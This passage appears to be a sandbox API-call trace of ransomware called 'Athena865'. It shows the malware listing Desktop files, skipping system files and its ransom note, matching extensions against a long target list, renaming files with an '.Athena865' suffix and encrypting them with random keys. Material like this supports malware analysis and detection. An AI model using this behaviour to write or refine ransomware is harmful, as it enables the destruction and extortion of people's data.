(lpString1="zW.avi", lpString2="nrmlib") returned 1 [0050.393] lstrlenW (lpString="ns2") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1 [0050.393] lstrlenW (lpString="ns3") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1 [0050.393] lstrlenW (lpString="ns4") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1 [0050.393] lstrlenW (lpString="nsf") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1 [0050.394] lstrlenW (lpString="nv") returned 2 [0050.394] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1 [0050.394] lstrlenW (lpString="nv2") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1 [0050.394] lstrlenW (lpString="nwdb") returned 4 [0050.394] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1 [0050.394] lstrlenW (lpString="nyf") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1 [0050.394] lstrlenW (lpString="odb") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0050.394] lstrlenW (lpString="odb") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0050.394] lstrlenW (lpString="oqy") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1 [0050.394] lstrlenW (lpString="ora") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1 [0050.394] lstrlenW (lpString="orx") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1 [0050.394] lstrlenW (lpString="owc") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1 [0050.394] lstrlenW (lpString="p96") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1 [0050.394] lstrlenW (lpString="p97") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1 [0050.394] lstrlenW (lpString="pan") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1 [0050.394] lstrlenW (lpString="pdb") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1 [0050.394] lstrlenW (lpString="pdm") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1 [0050.394] lstrlenW (lpString="pnz") returned 3 [0050.394] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1 [0050.394] lstrlenW (lpString="qry") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1 [0050.395] lstrlenW (lpString="qvd") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1 [0050.395] lstrlenW (lpString="rbf") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1 [0050.395] lstrlenW (lpString="rctd") returned 4 [0050.395] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1 [0050.395] lstrlenW (lpString="rod") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1 [0050.395] lstrlenW (lpString="rodx") returned 4 [0050.395] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1 [0050.395] lstrlenW (lpString="rpd") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1 [0050.395] lstrlenW (lpString="rsd") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1 [0050.395] lstrlenW (lpString="sas7bdat") returned 8 [0050.395] lstrcmpiW (lpString1="NjzW.avi", lpString2="sas7bdat") returned -1 [0050.395] lstrlenW (lpString="sbf") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1 [0050.395] lstrlenW (lpString="scx") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1 [0050.395] lstrlenW (lpString="sdb") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1 [0050.395] lstrlenW (lpString="sdc") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1 [0050.395] lstrlenW (lpString="sdf") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1 [0050.395] lstrlenW (lpString="sis") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1 [0050.395] lstrlenW (lpString="spq") returned 3 [0050.395] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1 [0050.395] lstrlenW (lpString="te") returned 2 [0050.395] lstrcmpiW (lpString1="vi", lpString2="te") returned 1 [0050.396] lstrlenW (lpString="teacher") returned 7 [0050.396] lstrcmpiW (lpString1="jzW.avi", lpString2="teacher") returned -1 [0050.396] lstrlenW (lpString="tmd") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1 [0050.396] lstrlenW (lpString="tps") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1 [0050.396] lstrlenW (lpString="trc") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0050.396] lstrlenW (lpString="trc") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0050.396] lstrlenW (lpString="trm") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1 [0050.396] lstrlenW (lpString="udb") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1 [0050.396] lstrlenW (lpString="udl") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1 [0050.396] lstrlenW (lpString="usr") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1 [0050.396] lstrlenW (lpString="v12") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1 [0050.396] lstrlenW (lpString="vis") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1 [0050.396] lstrlenW (lpString="vpd") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1 [0050.396] lstrlenW (lpString="vvv") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1 [0050.396] lstrlenW (lpString="wdb") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1 [0050.396] lstrlenW (lpString="wmdb") returned 4 [0050.396] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1 [0050.396] lstrlenW (lpString="wrk") returned 3 [0050.396] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1 [0050.396] lstrlenW (lpString="xdb") returned 3 [0050.397] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1 [0050.397] lstrlenW (lpString="xld") returned 3 [0050.397] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1 [0050.397] lstrlenW (lpString="xmlff") returned 5 [0050.397] lstrcmpiW (lpString1="W.avi", lpString2="xmlff") returned -1 [0050.397] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\A6RNjzW.avi.Athena865") returned 76 [0050.397] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\A6RNjzW.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\a6rnjzw.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\A6RNjzW.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\a6rnjzw.avi.athena865"), dwFlags=0x1) returned 1 [0050.402] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\A6RNjzW.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\a6rnjzw.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.403] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15854) returned 1 [0050.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.403] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.404] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.404] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.404] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40f0, lpName=0x0) returned 0x17c [0050.404] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40f0) returned 0x100000 [0050.405] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.406] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.406] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.407] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.407] CloseHandle (hObject=0x17c) returned 1 [0050.407] CloseHandle (hObject=0x154) returned 1 [0050.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.408] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e08f60, ftCreationTime.dwHighDateTime=0x1d4cf3f, ftLastAccessTime.dwLowDateTime=0xeca51350, ftLastAccessTime.dwHighDateTime=0x1d4cf7d, ftLastWriteTime.dwLowDateTime=0xeca51350, ftLastWriteTime.dwHighDateTime=0x1d4cf7d, nFileSizeHigh=0x0, nFileSizeLow=0x1786f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADTaAiwHU1TOk9CH-.jpg", cAlternateFileName="ADTAAI~1.JPG")) returned 1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2=".") returned 1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="..") returned 1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="windows") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="bootmgr") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="temp") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="pagefile.sys") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="boot") returned -1 [0050.408] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="ids.txt") returned -1 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="ntuser.dat") returned -1 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="perflogs") returned -1 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2="MSBuild") returned -1 [0050.409] lstrlenW (lpString="ADTaAiwHU1TOk9CH-.jpg") returned 21 [0050.409] lstrcpyW (in: lpString1=0x241e8b6, lpString2="ADTaAiwHU1TOk9CH-.jpg" | out: lpString1="ADTaAiwHU1TOk9CH-.jpg") returned="ADTaAiwHU1TOk9CH-.jpg" [0050.409] lstrlenW (lpString="ADTaAiwHU1TOk9CH-.jpg") returned 21 [0050.409] lstrlenW (lpString="Athena865") returned 9 [0050.409] lstrcmpiW (lpString1="k9CH-.jpg", lpString2="Athena865") returned 1 [0050.409] lstrlenW (lpString=".dll") returned 4 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2=".dll") returned 1 [0050.409] lstrlenW (lpString=".lnk") returned 4 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2=".lnk") returned 1 [0050.409] lstrlenW (lpString=".ini") returned 4 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2=".ini") returned 1 [0050.409] lstrlenW (lpString=".sys") returned 4 [0050.409] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg", lpString2=".sys") returned 1 [0050.409] lstrlenW (lpString="ADTaAiwHU1TOk9CH-.jpg") returned 21 [0050.409] lstrlenW (lpString="bak") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0050.409] lstrlenW (lpString="ba_") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0050.409] lstrlenW (lpString="dbb") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0050.409] lstrlenW (lpString="vmdk") returned 4 [0050.409] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0050.409] lstrlenW (lpString="rar") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0050.409] lstrlenW (lpString="zip") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0050.409] lstrlenW (lpString="tgz") returned 3 [0050.409] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0050.409] lstrlenW (lpString="vbox") returned 4 [0050.409] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0050.409] lstrlenW (lpString="vdi") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0050.410] lstrlenW (lpString="vhd") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0050.410] lstrlenW (lpString="vhdx") returned 4 [0050.410] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0050.410] lstrlenW (lpString="avhd") returned 4 [0050.410] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0050.410] lstrlenW (lpString="db") returned 2 [0050.410] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0050.410] lstrlenW (lpString="db2") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0050.410] lstrlenW (lpString="db3") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0050.410] lstrlenW (lpString="dbf") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0050.410] lstrlenW (lpString="mdf") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0050.410] lstrlenW (lpString="mdb") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0050.410] lstrlenW (lpString="sql") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0050.410] lstrlenW (lpString="sqlite") returned 6 [0050.410] lstrcmpiW (lpString1="H-.jpg", lpString2="sqlite") returned -1 [0050.410] lstrlenW (lpString="sqlite3") returned 7 [0050.410] lstrcmpiW (lpString1="CH-.jpg", lpString2="sqlite3") returned -1 [0050.410] lstrlenW (lpString="sqlitedb") returned 8 [0050.410] lstrcmpiW (lpString1="9CH-.jpg", lpString2="sqlitedb") returned -1 [0050.410] lstrlenW (lpString="xml") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0050.410] lstrlenW (lpString="$er") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0050.410] lstrlenW (lpString="4dd") returned 3 [0050.410] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0050.411] lstrlenW (lpString="4dl") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0050.411] lstrlenW (lpString="^^^") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0050.411] lstrlenW (lpString="abs") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0050.411] lstrlenW (lpString="abx") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0050.411] lstrlenW (lpString="accdb") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accdb") returned -1 [0050.411] lstrlenW (lpString="accdc") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accdc") returned -1 [0050.411] lstrlenW (lpString="accde") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accde") returned -1 [0050.411] lstrlenW (lpString="accdr") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accdr") returned -1 [0050.411] lstrlenW (lpString="accdt") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accdt") returned -1 [0050.411] lstrlenW (lpString="accdw") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accdw") returned -1 [0050.411] lstrlenW (lpString="accft") returned 5 [0050.411] lstrcmpiW (lpString1="-.jpg", lpString2="accft") returned -1 [0050.411] lstrlenW (lpString="adb") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0050.411] lstrlenW (lpString="adb") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0050.411] lstrlenW (lpString="ade") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0050.411] lstrlenW (lpString="adf") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0050.411] lstrlenW (lpString="adn") returned 3 [0050.411] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0050.411] lstrlenW (lpString="adp") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0050.412] lstrlenW (lpString="alf") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0050.412] lstrlenW (lpString="ask") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0050.412] lstrlenW (lpString="btr") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0050.412] lstrlenW (lpString="cat") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0050.412] lstrlenW (lpString="cdb") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0050.412] lstrlenW (lpString="ckp") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0050.412] lstrlenW (lpString="cma") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0050.412] lstrlenW (lpString="cpd") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0050.412] lstrlenW (lpString="dacpac") returned 6 [0050.412] lstrcmpiW (lpString1="H-.jpg", lpString2="dacpac") returned 1 [0050.412] lstrlenW (lpString="dad") returned 3 [0050.412] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0050.412] lstrlenW (lpString="dadiagrams") returned 10 [0050.412] lstrcmpiW (lpString1="Ok9CH-.jpg", lpString2="dadiagrams") returned 1 [0050.412] lstrlenW (lpString="daschema") returned 8 [0050.412] lstrcmpiW (lpString1="9CH-.jpg", lpString2="daschema") returned -1 [0050.412] lstrlenW (lpString="db-journal") returned 10 [0050.412] lstrcmpiW (lpString1="Ok9CH-.jpg", lpString2="db-journal") returned 1 [0050.412] lstrlenW (lpString="db-shm") returned 6 [0050.412] lstrcmpiW (lpString1="H-.jpg", lpString2="db-shm") returned 1 [0050.412] lstrlenW (lpString="db-wal") returned 6 [0050.412] lstrcmpiW (lpString1="H-.jpg", lpString2="db-wal") returned 1 [0050.412] lstrlenW (lpString="dbc") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0050.413] lstrlenW (lpString="dbs") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0050.413] lstrlenW (lpString="dbt") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0050.413] lstrlenW (lpString="dbv") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0050.413] lstrlenW (lpString="dbx") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0050.413] lstrlenW (lpString="dcb") returned 3 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0050.413] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0050.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ADTaAiwHU1TOk9CH-.jpg.Athena865") returned 86 [0050.413] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ADTaAiwHU1TOk9CH-.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\adtaaiwhu1tok9ch-.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ADTaAiwHU1TOk9CH-.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\adtaaiwhu1tok9ch-.jpg.athena865"), dwFlags=0x1) returned 1 [0050.414] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ADTaAiwHU1TOk9CH-.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\adtaaiwhu1tok9ch-.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.414] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96367) returned 1 [0050.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.414] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.415] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.415] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.415] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b70, lpName=0x0) returned 0x17c [0050.416] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b70) returned 0x100000 [0050.419] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.419] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.419] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.420] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.421] CloseHandle (hObject=0x17c) returned 1 [0050.421] CloseHandle (hObject=0x154) returned 1 [0050.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.423] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f95b10, ftCreationTime.dwHighDateTime=0x1d4cb75, ftLastAccessTime.dwLowDateTime=0xceb55610, ftLastAccessTime.dwHighDateTime=0x1d4cd08, ftLastWriteTime.dwLowDateTime=0xceb55610, ftLastWriteTime.dwHighDateTime=0x1d4cd08, nFileSizeHigh=0x0, nFileSizeLow=0x96cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as_gjoerstCS4z WWtXB.swf", cAlternateFileName="AS_GJO~1.SWF")) returned 1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2=".") returned 1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="..") returned 1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="windows") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="bootmgr") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="temp") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="pagefile.sys") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z 